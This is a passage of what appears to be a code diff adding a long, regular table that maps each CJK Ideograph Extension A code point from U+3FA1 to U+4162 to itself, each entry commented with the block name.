+ ["\u3FA1", "\u3FA1"], /* CJK Ideograph Extension A */
+ ["\u3FA2", "\u3FA2"], /* CJK Ideograph Extension A */
+ ["\u3FA3", "\u3FA3"], /* CJK Ideograph Extension A */
+ ["\u3FA4", "\u3FA4"], /* CJK Ideograph Extension A */
+ ["\u3FA5", "\u3FA5"], /* CJK Ideograph Extension A */
+ ["\u3FA6", "\u3FA6"], /* CJK Ideograph Extension A */
+ ["\u3FA7", "\u3FA7"], /* CJK Ideograph Extension A */
+ ["\u3FA8", "\u3FA8"], /* CJK Ideograph Extension A */
+ ["\u3FA9", "\u3FA9"], /* CJK Ideograph Extension A */
+ ["\u3FAA", "\u3FAA"], /* CJK Ideograph Extension A */
+ ["\u3FAB", "\u3FAB"], /* CJK Ideograph Extension A */
+ ["\u3FAC", "\u3FAC"], /* CJK Ideograph Extension A */
+ ["\u3FAD", "\u3FAD"], /* CJK Ideograph Extension A */
+ ["\u3FAE", "\u3FAE"], /* CJK Ideograph Extension A */
+ ["\u3FAF", "\u3FAF"], /* CJK Ideograph Extension A */
+ ["\u3FB0", "\u3FB0"], /* CJK Ideograph Extension A */
+ ["\u3FB1", "\u3FB1"], /* CJK Ideograph Extension A */
+ ["\u3FB2", "\u3FB2"], /* CJK Ideograph Extension A */
+ ["\u3FB3", "\u3FB3"], /* CJK Ideograph Extension A */
+ ["\u3FB4", "\u3FB4"], /* CJK Ideograph Extension A */
+ ["\u3FB5", "\u3FB5"], /* CJK Ideograph Extension A */
+ ["\u3FB6", "\u3FB6"], /* CJK Ideograph Extension A */
+ ["\u3FB7", "\u3FB7"], /* CJK Ideograph Extension A */
+ ["\u3FB8", "\u3FB8"], /* CJK Ideograph Extension A */
+ ["\u3FB9", "\u3FB9"], /* CJK Ideograph Extension A */
+ ["\u3FBA", "\u3FBA"], /* CJK Ideograph Extension A */
+ ["\u3FBB", "\u3FBB"], /* CJK Ideograph Extension A */
+ ["\u3FBC", "\u3FBC"], /* CJK Ideograph Extension A */
+ ["\u3FBD", "\u3FBD"], /* CJK Ideograph Extension A */
+ ["\u3FBE", "\u3FBE"], /* CJK Ideograph Extension A */
+ ["\u3FBF", "\u3FBF"], /* CJK Ideograph Extension A */
+ ["\u3FC0", "\u3FC0"], /* CJK Ideograph Extension A */
+ ["\u3FC1", "\u3FC1"], /* CJK Ideograph Extension A */
+ ["\u3FC2", "\u3FC2"], /* CJK Ideograph Extension A */
+ ["\u3FC3", "\u3FC3"], /* CJK Ideograph Extension A */
+ ["\u3FC4", "\u3FC4"], /* CJK Ideograph Extension A */
+ ["\u3FC5", "\u3FC5"], /* CJK Ideograph Extension A */
+ ["\u3FC6", "\u3FC6"], /* CJK Ideograph Extension A */
+ ["\u3FC7", "\u3FC7"], /* CJK Ideograph Extension A */
+ ["\u3FC8", "\u3FC8"], /* CJK Ideograph Extension A */
+ ["\u3FC9", "\u3FC9"], /* CJK Ideograph Extension A */
+ ["\u3FCA", "\u3FCA"], /* CJK Ideograph Extension A */
+ ["\u3FCB", "\u3FCB"], /* CJK Ideograph Extension A */
+ ["\u3FCC", "\u3FCC"], /* CJK Ideograph Extension A */
+ ["\u3FCD", "\u3FCD"], /* CJK Ideograph Extension A */
+ ["\u3FCE", "\u3FCE"], /* CJK Ideograph Extension A */
+ ["\u3FCF", "\u3FCF"], /* CJK Ideograph Extension A */
+ ["\u3FD0", "\u3FD0"], /* CJK Ideograph Extension A */
+ ["\u3FD1", "\u3FD1"], /* CJK Ideograph Extension A */
+ ["\u3FD2", "\u3FD2"], /* CJK Ideograph Extension A */
+ ["\u3FD3", "\u3FD3"], /* CJK Ideograph Extension A */
+ ["\u3FD4", "\u3FD4"], /* CJK Ideograph Extension A */
+ ["\u3FD5", "\u3FD5"], /* CJK Ideograph Extension A */
+ ["\u3FD6", "\u3FD6"], /* CJK Ideograph Extension A */
+ ["\u3FD7", "\u3FD7"], /* CJK Ideograph Extension A */
+ ["\u3FD8", "\u3FD8"], /* CJK Ideograph Extension A */
+ ["\u3FD9", "\u3FD9"], /* CJK Ideograph Extension A */
+ ["\u3FDA", "\u3FDA"], /* CJK Ideograph Extension A */
+ ["\u3FDB", "\u3FDB"], /* CJK Ideograph Extension A */
+ ["\u3FDC", "\u3FDC"], /* CJK Ideograph Extension A */
+ ["\u3FDD", "\u3FDD"], /* CJK Ideograph Extension A */
+ ["\u3FDE", "\u3FDE"], /* CJK Ideograph Extension A */
+ ["\u3FDF", "\u3FDF"], /* CJK Ideograph Extension A */
+ ["\u3FE0", "\u3FE0"], /* CJK Ideograph Extension A */
+ ["\u3FE1", "\u3FE1"], /* CJK Ideograph Extension A */
+ ["\u3FE2", "\u3FE2"], /* CJK Ideograph Extension A */
+ ["\u3FE3", "\u3FE3"], /* CJK Ideograph Extension A */
+ ["\u3FE4", "\u3FE4"], /* CJK Ideograph Extension A */
+ ["\u3FE5", "\u3FE5"], /* CJK Ideograph Extension A */
+ ["\u3FE6", "\u3FE6"], /* CJK Ideograph Extension A */
+ ["\u3FE7", "\u3FE7"], /* CJK Ideograph Extension A */
+ ["\u3FE8", "\u3FE8"], /* CJK Ideograph Extension A */
+ ["\u3FE9", "\u3FE9"], /* CJK Ideograph Extension A */
+ ["\u3FEA", "\u3FEA"], /* CJK Ideograph Extension A */
+ ["\u3FEB", "\u3FEB"], /* CJK Ideograph Extension A */
+ ["\u3FEC", "\u3FEC"], /* CJK Ideograph Extension A */
+ ["\u3FED", "\u3FED"], /* CJK Ideograph Extension A */
+ ["\u3FEE", "\u3FEE"], /* CJK Ideograph Extension A */
+ ["\u3FEF", "\u3FEF"], /* CJK Ideograph Extension A */
+ ["\u3FF0", "\u3FF0"], /* CJK Ideograph Extension A */
+ ["\u3FF1", "\u3FF1"], /* CJK Ideograph Extension A */
+ ["\u3FF2", "\u3FF2"], /* CJK Ideograph Extension A */
+ ["\u3FF3", "\u3FF3"], /* CJK Ideograph Extension A */
+ ["\u3FF4", "\u3FF4"], /* CJK Ideograph Extension A */
+ ["\u3FF5", "\u3FF5"], /* CJK Ideograph Extension A */
+ ["\u3FF6", "\u3FF6"], /* CJK Ideograph Extension A */
+ ["\u3FF7", "\u3FF7"], /* CJK Ideograph Extension A */
+ ["\u3FF8", "\u3FF8"], /* CJK Ideograph Extension A */
+ ["\u3FF9", "\u3FF9"], /* CJK Ideograph Extension A */
+ ["\u3FFA", "\u3FFA"], /* CJK Ideograph Extension A */
+ ["\u3FFB", "\u3FFB"], /* CJK Ideograph Extension A */
+ ["\u3FFC", "\u3FFC"], /* CJK Ideograph Extension A */
+ ["\u3FFD", "\u3FFD"], /* CJK Ideograph Extension A */
+ ["\u3FFE", "\u3FFE"], /* CJK Ideograph Extension A */
+ ["\u3FFF", "\u3FFF"], /* CJK Ideograph Extension A */
+ ["\u4000", "\u4000"], /* CJK Ideograph Extension A */
+ ["\u4001", "\u4001"], /* CJK Ideograph Extension A */
+ ["\u4002", "\u4002"], /* CJK Ideograph Extension A */
+ ["\u4003", "\u4003"], /* CJK Ideograph Extension A */
+ ["\u4004", "\u4004"], /* CJK Ideograph Extension A */
+ ["\u4005", "\u4005"], /* CJK Ideograph Extension A */
+ ["\u4006", "\u4006"], /* CJK Ideograph Extension A */
+ ["\u4007", "\u4007"], /* CJK Ideograph Extension A */
+ ["\u4008", "\u4008"], /* CJK Ideograph Extension A */
+ ["\u4009", "\u4009"], /* CJK Ideograph Extension A */
+ ["\u400A", "\u400A"], /* CJK Ideograph Extension A */
+ ["\u400B", "\u400B"], /* CJK Ideograph Extension A */
+ ["\u400C", "\u400C"], /* CJK Ideograph Extension A */
+ ["\u400D", "\u400D"], /* CJK Ideograph Extension A */
+ ["\u400E", "\u400E"], /* CJK Ideograph Extension A */
+ ["\u400F", "\u400F"], /* CJK Ideograph Extension A */
+ ["\u4010", "\u4010"], /* CJK Ideograph Extension A */
+ ["\u4011", "\u4011"], /* CJK Ideograph Extension A */
+ ["\u4012", "\u4012"], /* CJK Ideograph Extension A */
+ ["\u4013", "\u4013"], /* CJK Ideograph Extension A */
+ ["\u4014", "\u4014"], /* CJK Ideograph Extension A */
+ ["\u4015", "\u4015"], /* CJK Ideograph Extension A */
+ ["\u4016", "\u4016"], /* CJK Ideograph Extension A */
+ ["\u4017", "\u4017"], /* CJK Ideograph Extension A */
+ ["\u4018", "\u4018"], /* CJK Ideograph Extension A */
+ ["\u4019", "\u4019"], /* CJK Ideograph Extension A */
+ ["\u401A", "\u401A"], /* CJK Ideograph Extension A */
+ ["\u401B", "\u401B"], /* CJK Ideograph Extension A */
+ ["\u401C", "\u401C"], /* CJK Ideograph Extension A */
+ ["\u401D", "\u401D"], /* CJK Ideograph Extension A */
+ ["\u401E", "\u401E"], /* CJK Ideograph Extension A */
+ ["\u401F", "\u401F"], /* CJK Ideograph Extension A */
+ ["\u4020", "\u4020"], /* CJK Ideograph Extension A */
+ ["\u4021", "\u4021"], /* CJK Ideograph Extension A */
+ ["\u4022", "\u4022"], /* CJK Ideograph Extension A */
+ ["\u4023", "\u4023"], /* CJK Ideograph Extension A */
+ ["\u4024", "\u4024"], /* CJK Ideograph Extension A */
+ ["\u4025", "\u4025"], /* CJK Ideograph Extension A */
+ ["\u4026", "\u4026"], /* CJK Ideograph Extension A */
+ ["\u4027", "\u4027"], /* CJK Ideograph Extension A */
+ ["\u4028", "\u4028"], /* CJK Ideograph Extension A */
+ ["\u4029", "\u4029"], /* CJK Ideograph Extension A */
+ ["\u402A", "\u402A"], /* CJK Ideograph Extension A */
+ ["\u402B", "\u402B"], /* CJK Ideograph Extension A */
+ ["\u402C", "\u402C"], /* CJK Ideograph Extension A */
+ ["\u402D", "\u402D"], /* CJK Ideograph Extension A */
+ ["\u402E", "\u402E"], /* CJK Ideograph Extension A */
+ ["\u402F", "\u402F"], /* CJK Ideograph Extension A */
+ ["\u4030", "\u4030"], /* CJK Ideograph Extension A */
+ ["\u4031", "\u4031"], /* CJK Ideograph Extension A */
+ ["\u4032", "\u4032"], /* CJK Ideograph Extension A */
+ ["\u4033", "\u4033"], /* CJK Ideograph Extension A */
+ ["\u4034", "\u4034"], /* CJK Ideograph Extension A */
+ ["\u4035", "\u4035"], /* CJK Ideograph Extension A */
+ ["\u4036", "\u4036"], /* CJK Ideograph Extension A */
+ ["\u4037", "\u4037"], /* CJK Ideograph Extension A */
+ ["\u4038", "\u4038"], /* CJK Ideograph Extension A */
+ ["\u4039", "\u4039"], /* CJK Ideograph Extension A */
+ ["\u403A", "\u403A"], /* CJK Ideograph Extension A */
+ ["\u403B", "\u403B"], /* CJK Ideograph Extension A */
+ ["\u403C", "\u403C"], /* CJK Ideograph Extension A */
+ ["\u403D", "\u403D"], /* CJK Ideograph Extension A */
+ ["\u403E", "\u403E"], /* CJK Ideograph Extension A */
+ ["\u403F", "\u403F"], /* CJK Ideograph Extension A */
+ ["\u4040", "\u4040"], /* CJK Ideograph Extension A */
+ ["\u4041", "\u4041"], /* CJK Ideograph Extension A */
+ ["\u4042", "\u4042"], /* CJK Ideograph Extension A */
+ ["\u4043", "\u4043"], /* CJK Ideograph Extension A */
+ ["\u4044", "\u4044"], /* CJK Ideograph Extension A */
+ ["\u4045", "\u4045"], /* CJK Ideograph Extension A */
+ ["\u4046", "\u4046"], /* CJK Ideograph Extension A */
+ ["\u4047", "\u4047"], /* CJK Ideograph Extension A */
+ ["\u4048", "\u4048"], /* CJK Ideograph Extension A */
+ ["\u4049", "\u4049"], /* CJK Ideograph Extension A */
+ ["\u404A", "\u404A"], /* CJK Ideograph Extension A */
+ ["\u404B", "\u404B"], /* CJK Ideograph Extension A */
+ ["\u404C", "\u404C"], /* CJK Ideograph Extension A */
+ ["\u404D", "\u404D"], /* CJK Ideograph Extension A */
+ ["\u404E", "\u404E"], /* CJK Ideograph Extension A */
+ ["\u404F", "\u404F"], /* CJK Ideograph Extension A */
+ ["\u4050", "\u4050"], /* CJK Ideograph Extension A */
+ ["\u4051", "\u4051"], /* CJK Ideograph Extension A */
+ ["\u4052", "\u4052"], /* CJK Ideograph Extension A */
+ ["\u4053", "\u4053"], /* CJK Ideograph Extension A */
+ ["\u4054", "\u4054"], /* CJK Ideograph Extension A */
+ ["\u4055", "\u4055"], /* CJK Ideograph Extension A */
+ ["\u4056", "\u4056"], /* CJK Ideograph Extension A */
+ ["\u4057", "\u4057"], /* CJK Ideograph Extension A */
+ ["\u4058", "\u4058"], /* CJK Ideograph Extension A */
+ ["\u4059", "\u4059"], /* CJK Ideograph Extension A */
+ ["\u405A", "\u405A"], /* CJK Ideograph Extension A */
+ ["\u405B", "\u405B"], /* CJK Ideograph Extension A */
+ ["\u405C", "\u405C"], /* CJK Ideograph Extension A */
+ ["\u405D", "\u405D"], /* CJK Ideograph Extension A */
+ ["\u405E", "\u405E"], /* CJK Ideograph Extension A */
+ ["\u405F", "\u405F"], /* CJK Ideograph Extension A */
+ ["\u4060", "\u4060"], /* CJK Ideograph Extension A */
+ ["\u4061", "\u4061"], /* CJK Ideograph Extension A */
+ ["\u4062", "\u4062"], /* CJK Ideograph Extension A */
+ ["\u4063", "\u4063"], /* CJK Ideograph Extension A */
+ ["\u4064", "\u4064"], /* CJK Ideograph Extension A */
+ ["\u4065", "\u4065"], /* CJK Ideograph Extension A */
+ ["\u4066", "\u4066"], /* CJK Ideograph Extension A */
+ ["\u4067", "\u4067"], /* CJK Ideograph Extension A */
+ ["\u4068", "\u4068"], /* CJK Ideograph Extension A */
+ ["\u4069", "\u4069"], /* CJK Ideograph Extension A */
+ ["\u406A", "\u406A"], /* CJK Ideograph Extension A */
+ ["\u406B", "\u406B"], /* CJK Ideograph Extension A */
+ ["\u406C", "\u406C"], /* CJK Ideograph Extension A */
+ ["\u406D", "\u406D"], /* CJK Ideograph Extension A */
+ ["\u406E", "\u406E"], /* CJK Ideograph Extension A */
+ ["\u406F", "\u406F"], /* CJK Ideograph Extension A */
+ ["\u4070", "\u4070"], /* CJK Ideograph Extension A */
+ ["\u4071", "\u4071"], /* CJK Ideograph Extension A */
+ ["\u4072", "\u4072"], /* CJK Ideograph Extension A */
+ ["\u4073", "\u4073"], /* CJK Ideograph Extension A */
+ ["\u4074", "\u4074"], /* CJK Ideograph Extension A */
+ ["\u4075", "\u4075"], /* CJK Ideograph Extension A */
+ ["\u4076", "\u4076"], /* CJK Ideograph Extension A */
+ ["\u4077", "\u4077"], /* CJK Ideograph Extension A */
+ ["\u4078", "\u4078"], /* CJK Ideograph Extension A */
+ ["\u4079", "\u4079"], /* CJK Ideograph Extension A */
+ ["\u407A", "\u407A"], /* CJK Ideograph Extension A */
+ ["\u407B", "\u407B"], /* CJK Ideograph Extension A */
+ ["\u407C", "\u407C"], /* CJK Ideograph Extension A */
+ ["\u407D", "\u407D"], /* CJK Ideograph Extension A */
+ ["\u407E", "\u407E"], /* CJK Ideograph Extension A */
+ ["\u407F", "\u407F"], /* CJK Ideograph Extension A */
+ ["\u4080", "\u4080"], /* CJK Ideograph Extension A */
+ ["\u4081", "\u4081"], /* CJK Ideograph Extension A */
+ ["\u4082", "\u4082"], /* CJK Ideograph Extension A */
+ ["\u4083", "\u4083"], /* CJK Ideograph Extension A */
+ ["\u4084", "\u4084"], /* CJK Ideograph Extension A */
+ ["\u4085", "\u4085"], /* CJK Ideograph Extension A */
+ ["\u4086", "\u4086"], /* CJK Ideograph Extension A */
+ ["\u4087", "\u4087"], /* CJK Ideograph Extension A */
+ ["\u4088", "\u4088"], /* CJK Ideograph Extension A */
+ ["\u4089", "\u4089"], /* CJK Ideograph Extension A */
+ ["\u408A", "\u408A"], /* CJK Ideograph Extension A */
+ ["\u408B", "\u408B"], /* CJK Ideograph Extension A */
+ ["\u408C", "\u408C"], /* CJK Ideograph Extension A */
+ ["\u408D", "\u408D"], /* CJK Ideograph Extension A */
+ ["\u408E", "\u408E"], /* CJK Ideograph Extension A */
+ ["\u408F", "\u408F"], /* CJK Ideograph Extension A */
+ ["\u4090", "\u4090"], /* CJK Ideograph Extension A */
+ ["\u4091", "\u4091"], /* CJK Ideograph Extension A */
+ ["\u4092", "\u4092"], /* CJK Ideograph Extension A */
+ ["\u4093", "\u4093"], /* CJK Ideograph Extension A */
+ ["\u4094", "\u4094"], /* CJK Ideograph Extension A */
+ ["\u4095", "\u4095"], /* CJK Ideograph Extension A */
+ ["\u4096", "\u4096"], /* CJK Ideograph Extension A */
+ ["\u4097", "\u4097"], /* CJK Ideograph Extension A */
+ ["\u4098", "\u4098"], /* CJK Ideograph Extension A */
+ ["\u4099", "\u4099"], /* CJK Ideograph Extension A */
+ ["\u409A", "\u409A"], /* CJK Ideograph Extension A */
+ ["\u409B", "\u409B"], /* CJK Ideograph Extension A */
+ ["\u409C", "\u409C"], /* CJK Ideograph Extension A */
+ ["\u409D", "\u409D"], /* CJK Ideograph Extension A */
+ ["\u409E", "\u409E"], /* CJK Ideograph Extension A */
+ ["\u409F", "\u409F"], /* CJK Ideograph Extension A */
+ ["\u40A0", "\u40A0"], /* CJK Ideograph Extension A */
+ ["\u40A1", "\u40A1"], /* CJK Ideograph Extension A */
+ ["\u40A2", "\u40A2"], /* CJK Ideograph Extension A */
+ ["\u40A3", "\u40A3"], /* CJK Ideograph Extension A */
+ ["\u40A4", "\u40A4"], /* CJK Ideograph Extension A */
+ ["\u40A5", "\u40A5"], /* CJK Ideograph Extension A */
+ ["\u40A6", "\u40A6"], /* CJK Ideograph Extension A */
+ ["\u40A7", "\u40A7"], /* CJK Ideograph Extension A */
+ ["\u40A8", "\u40A8"], /* CJK Ideograph Extension A */
+ ["\u40A9", "\u40A9"], /* CJK Ideograph Extension A */
+ ["\u40AA", "\u40AA"], /* CJK Ideograph Extension A */
+ ["\u40AB", "\u40AB"], /* CJK Ideograph Extension A */
+ ["\u40AC", "\u40AC"], /* CJK Ideograph Extension A */
+ ["\u40AD", "\u40AD"], /* CJK Ideograph Extension A */
+ ["\u40AE", "\u40AE"], /* CJK Ideograph Extension A */
+ ["\u40AF", "\u40AF"], /* CJK Ideograph Extension A */
+ ["\u40B0", "\u40B0"], /* CJK Ideograph Extension A */
+ ["\u40B1", "\u40B1"], /* CJK Ideograph Extension A */
+ ["\u40B2", "\u40B2"], /* CJK Ideograph Extension A */
+ ["\u40B3", "\u40B3"], /* CJK Ideograph Extension A */
+ ["\u40B4", "\u40B4"], /* CJK Ideograph Extension A */
+ ["\u40B5", "\u40B5"], /* CJK Ideograph Extension A */
+ ["\u40B6", "\u40B6"], /* CJK Ideograph Extension A */
+ ["\u40B7", "\u40B7"], /* CJK Ideograph Extension A */
+ ["\u40B8", "\u40B8"], /* CJK Ideograph Extension A */
+ ["\u40B9", "\u40B9"], /* CJK Ideograph Extension A */
+ ["\u40BA", "\u40BA"], /* CJK Ideograph Extension A */
+ ["\u40BB", "\u40BB"], /* CJK Ideograph Extension A */
+ ["\u40BC", "\u40BC"], /* CJK Ideograph Extension A */
+ ["\u40BD", "\u40BD"], /* CJK Ideograph Extension A */
+ ["\u40BE", "\u40BE"], /* CJK Ideograph Extension A */
+ ["\u40BF", "\u40BF"], /* CJK Ideograph Extension A */
+ ["\u40C0", "\u40C0"], /* CJK Ideograph Extension A */
+ ["\u40C1", "\u40C1"], /* CJK Ideograph Extension A */
+ ["\u40C2", "\u40C2"], /* CJK Ideograph Extension A */
+ ["\u40C3", "\u40C3"], /* CJK Ideograph Extension A */
+ ["\u40C4", "\u40C4"], /* CJK Ideograph Extension A */
+ ["\u40C5", "\u40C5"], /* CJK Ideograph Extension A */
+ ["\u40C6", "\u40C6"], /* CJK Ideograph Extension A */
+ ["\u40C7", "\u40C7"], /* CJK Ideograph Extension A */
+ ["\u40C8", "\u40C8"], /* CJK Ideograph Extension A */
+ ["\u40C9", "\u40C9"], /* CJK Ideograph Extension A */
+ ["\u40CA", "\u40CA"], /* CJK Ideograph Extension A */
+ ["\u40CB", "\u40CB"], /* CJK Ideograph Extension A */
+ ["\u40CC", "\u40CC"], /* CJK Ideograph Extension A */
+ ["\u40CD", "\u40CD"], /* CJK Ideograph Extension A */
+ ["\u40CE", "\u40CE"], /* CJK Ideograph Extension A */
+ ["\u40CF", "\u40CF"], /* CJK Ideograph Extension A */
+ ["\u40D0", "\u40D0"], /* CJK Ideograph Extension A */
+ ["\u40D1", "\u40D1"], /* CJK Ideograph Extension A */
+ ["\u40D2", "\u40D2"], /* CJK Ideograph Extension A */
+ ["\u40D3", "\u40D3"], /* CJK Ideograph Extension A */
+ ["\u40D4", "\u40D4"], /* CJK Ideograph Extension A */
+ ["\u40D5", "\u40D5"], /* CJK Ideograph Extension A */
+ ["\u40D6", "\u40D6"], /* CJK Ideograph Extension A */
+ ["\u40D7", "\u40D7"], /* CJK Ideograph Extension A */
+ ["\u40D8", "\u40D8"], /* CJK Ideograph Extension A */
+ ["\u40D9", "\u40D9"], /* CJK Ideograph Extension A */
+ ["\u40DA", "\u40DA"], /* CJK Ideograph Extension A */
+ ["\u40DB", "\u40DB"], /* CJK Ideograph Extension A */
+ ["\u40DC", "\u40DC"], /* CJK Ideograph Extension A */
+ ["\u40DD", "\u40DD"], /* CJK Ideograph Extension A */
+ ["\u40DE", "\u40DE"], /* CJK Ideograph Extension A */
+ ["\u40DF", "\u40DF"], /* CJK Ideograph Extension A */
+ ["\u40E0", "\u40E0"], /* CJK Ideograph Extension A */
+ ["\u40E1", "\u40E1"], /* CJK Ideograph Extension A */
+ ["\u40E2", "\u40E2"], /* CJK Ideograph Extension A */
+ ["\u40E3", "\u40E3"], /* CJK Ideograph Extension A */
+ ["\u40E4", "\u40E4"], /* CJK Ideograph Extension A */
+ ["\u40E5", "\u40E5"], /* CJK Ideograph Extension A */
+ ["\u40E6", "\u40E6"], /* CJK Ideograph Extension A */
+ ["\u40E7", "\u40E7"], /* CJK Ideograph Extension A */
+ ["\u40E8", "\u40E8"], /* CJK Ideograph Extension A */
+ ["\u40E9", "\u40E9"], /* CJK Ideograph Extension A */
+ ["\u40EA", "\u40EA"], /* CJK Ideograph Extension A */
+ ["\u40EB", "\u40EB"], /* CJK Ideograph Extension A */
+ ["\u40EC", "\u40EC"], /* CJK Ideograph Extension A */
+ ["\u40ED", "\u40ED"], /* CJK Ideograph Extension A */
+ ["\u40EE", "\u40EE"], /* CJK Ideograph Extension A */
+ ["\u40EF", "\u40EF"], /* CJK Ideograph Extension A */
+ ["\u40F0", "\u40F0"], /* CJK Ideograph Extension A */
+ ["\u40F1", "\u40F1"], /* CJK Ideograph Extension A */
+ ["\u40F2", "\u40F2"], /* CJK Ideograph Extension A */
+ ["\u40F3", "\u40F3"], /* CJK Ideograph Extension A */
+ ["\u40F4", "\u40F4"], /* CJK Ideograph Extension A */
+ ["\u40F5", "\u40F5"], /* CJK Ideograph Extension A */
+ ["\u40F6", "\u40F6"], /* CJK Ideograph Extension A */
+ ["\u40F7", "\u40F7"], /* CJK Ideograph Extension A */
+ ["\u40F8", "\u40F8"], /* CJK Ideograph Extension A */
+ ["\u40F9", "\u40F9"], /* CJK Ideograph Extension A */
+ ["\u40FA", "\u40FA"], /* CJK Ideograph Extension A */
+ ["\u40FB", "\u40FB"], /* CJK Ideograph Extension A */
+ ["\u40FC", "\u40FC"], /* CJK Ideograph Extension A */
+ ["\u40FD", "\u40FD"], /* CJK Ideograph Extension A */
+ ["\u40FE", "\u40FE"], /* CJK Ideograph Extension A */
+ ["\u40FF", "\u40FF"], /* CJK Ideograph Extension A */
+ ["\u4100", "\u4100"], /* CJK Ideograph Extension A */
+ ["\u4101", "\u4101"], /* CJK Ideograph Extension A */
+ ["\u4102", "\u4102"], /* CJK Ideograph Extension A */
+ ["\u4103", "\u4103"], /* CJK Ideograph Extension A */
+ ["\u4104", "\u4104"], /* CJK Ideograph Extension A */
+ ["\u4105", "\u4105"], /* CJK Ideograph Extension A */
+ ["\u4106", "\u4106"], /* CJK Ideograph Extension A */
+ ["\u4107", "\u4107"], /* CJK Ideograph Extension A */
+ ["\u4108", "\u4108"], /* CJK Ideograph Extension A */
+ ["\u4109", "\u4109"], /* CJK Ideograph Extension A */
+ ["\u410A", "\u410A"], /* CJK Ideograph Extension A */
+ ["\u410B", "\u410B"], /* CJK Ideograph Extension A */
+ ["\u410C", "\u410C"], /* CJK Ideograph Extension A */
+ ["\u410D", "\u410D"], /* CJK Ideograph Extension A */
+ ["\u410E", "\u410E"], /* CJK Ideograph Extension A */
+ ["\u410F", "\u410F"], /* CJK Ideograph Extension A */
+ ["\u4110", "\u4110"], /* CJK Ideograph Extension A */
+ ["\u4111", "\u4111"], /* CJK Ideograph Extension A */
+ ["\u4112", "\u4112"], /* CJK Ideograph Extension A */
+ ["\u4113", "\u4113"], /* CJK Ideograph Extension A */
+ ["\u4114", "\u4114"], /* CJK Ideograph Extension A */
+ ["\u4115", "\u4115"], /* CJK Ideograph Extension A */
+ ["\u4116", "\u4116"], /* CJK Ideograph Extension A */
+ ["\u4117", "\u4117"], /* CJK Ideograph Extension A */
+ ["\u4118", "\u4118"], /* CJK Ideograph Extension A */
+ ["\u4119", "\u4119"], /* CJK Ideograph Extension A */
+ ["\u411A", "\u411A"], /* CJK Ideograph Extension A */
+ ["\u411B", "\u411B"], /* CJK Ideograph Extension A */
+ ["\u411C", "\u411C"], /* CJK Ideograph Extension A */
+ ["\u411D", "\u411D"], /* CJK Ideograph Extension A */
+ ["\u411E", "\u411E"], /* CJK Ideograph Extension A */
+ ["\u411F", "\u411F"], /* CJK Ideograph Extension A */
+ ["\u4120", "\u4120"], /* CJK Ideograph Extension A */
+ ["\u4121", "\u4121"], /* CJK Ideograph Extension A */
+ ["\u4122", "\u4122"], /* CJK Ideograph Extension A */
+ ["\u4123", "\u4123"], /* CJK Ideograph Extension A */
+ ["\u4124", "\u4124"], /* CJK Ideograph Extension A */
+ ["\u4125", "\u4125"], /* CJK Ideograph Extension A */
+ ["\u4126", "\u4126"], /* CJK Ideograph Extension A */
+ ["\u4127", "\u4127"], /* CJK Ideograph Extension A */
+ ["\u4128", "\u4128"], /* CJK Ideograph Extension A */
+ ["\u4129", "\u4129"], /* CJK Ideograph Extension A */
+ ["\u412A", "\u412A"], /* CJK Ideograph Extension A */
+ ["\u412B", "\u412B"], /* CJK Ideograph Extension A */
+ ["\u412C", "\u412C"], /* CJK Ideograph Extension A */
+ ["\u412D", "\u412D"], /* CJK Ideograph Extension A */
+ ["\u412E", "\u412E"], /* CJK Ideograph Extension A */
+ ["\u412F", "\u412F"], /* CJK Ideograph Extension A */
+ ["\u4130", "\u4130"], /* CJK Ideograph Extension A */
+ ["\u4131", "\u4131"], /* CJK Ideograph Extension A */
+ ["\u4132", "\u4132"], /* CJK Ideograph Extension A */
+ ["\u4133", "\u4133"], /* CJK Ideograph Extension A */
+ ["\u4134", "\u4134"], /* CJK Ideograph Extension A */
+ ["\u4135", "\u4135"], /* CJK Ideograph Extension A */
+ ["\u4136", "\u4136"], /* CJK Ideograph Extension A */
+ ["\u4137", "\u4137"], /* CJK Ideograph Extension A */
+ ["\u4138", "\u4138"], /* CJK Ideograph Extension A */
+ ["\u4139", "\u4139"], /* CJK Ideograph Extension A */
+ ["\u413A", "\u413A"], /* CJK Ideograph Extension A */
+ ["\u413B", "\u413B"], /* CJK Ideograph Extension A */
+ ["\u413C", "\u413C"], /* CJK Ideograph Extension A */
+ ["\u413D", "\u413D"], /* CJK Ideograph Extension A */
+ ["\u413E", "\u413E"], /* CJK Ideograph Extension A */
+ ["\u413F", "\u413F"], /* CJK Ideograph Extension A */
+ ["\u4140", "\u4140"], /* CJK Ideograph Extension A */
+ ["\u4141", "\u4141"], /* CJK Ideograph Extension A */
+ ["\u4142", "\u4142"], /* CJK Ideograph Extension A */
+ ["\u4143", "\u4143"], /* CJK Ideograph Extension A */
+ ["\u4144", "\u4144"], /* CJK Ideograph Extension A */
+ ["\u4145", "\u4145"], /* CJK Ideograph Extension A */
+ ["\u4146", "\u4146"], /* CJK Ideograph Extension A */
+ ["\u4147", "\u4147"], /* CJK Ideograph Extension A */
+ ["\u4148", "\u4148"], /* CJK Ideograph Extension A */
+ ["\u4149", "\u4149"], /* CJK Ideograph Extension A */
+ ["\u414A", "\u414A"], /* CJK Ideograph Extension A */
+ ["\u414B", "\u414B"], /* CJK Ideograph Extension A */
+ ["\u414C", "\u414C"], /* CJK Ideograph Extension A */
+ ["\u414D", "\u414D"], /* CJK Ideograph Extension A */
+ ["\u414E", "\u414E"], /* CJK Ideograph Extension A */
+ ["\u414F", "\u414F"], /* CJK Ideograph Extension A */
+ ["\u4150", "\u4150"], /* CJK Ideograph Extension A */
+ ["\u4151", "\u4151"], /* CJK Ideograph Extension A */
+ ["\u4152", "\u4152"], /* CJK Ideograph Extension A */
+ ["\u4153", "\u4153"], /* CJK Ideograph Extension A */
+ ["\u4154", "\u4154"], /* CJK Ideograph Extension A */
+ ["\u4155", "\u4155"], /* CJK Ideograph Extension A */
+ ["\u4156", "\u4156"], /* CJK Ideograph Extension A */
+ ["\u4157", "\u4157"], /* CJK Ideograph Extension A */
+ ["\u4158", "\u4158"], /* CJK Ideograph Extension A */
+ ["\u4159", "\u4159"], /* CJK Ideograph Extension A */
+ ["\u415A", "\u415A"], /* CJK Ideograph Extension A */
+ ["\u415B", "\u415B"], /* CJK Ideograph Extension A */
+ ["\u415C", "\u415C"], /* CJK Ideograph Extension A */
+ ["\u415D", "\u415D"], /* CJK Ideograph Extension A */
+ ["\u415E", "\u415E"], /* CJK Ideograph Extension A */
+ ["\u415F", "\u415F"], /* CJK Ideograph Extension A */
+ ["\u4160", "\u4160"], /* CJK Ideograph Extension A */
+ ["\u4161", "\u4161"], /* CJK Ideograph Extension A */
+ ["\u4162", "\u4162"], /* CJK Ideograph Extension A */
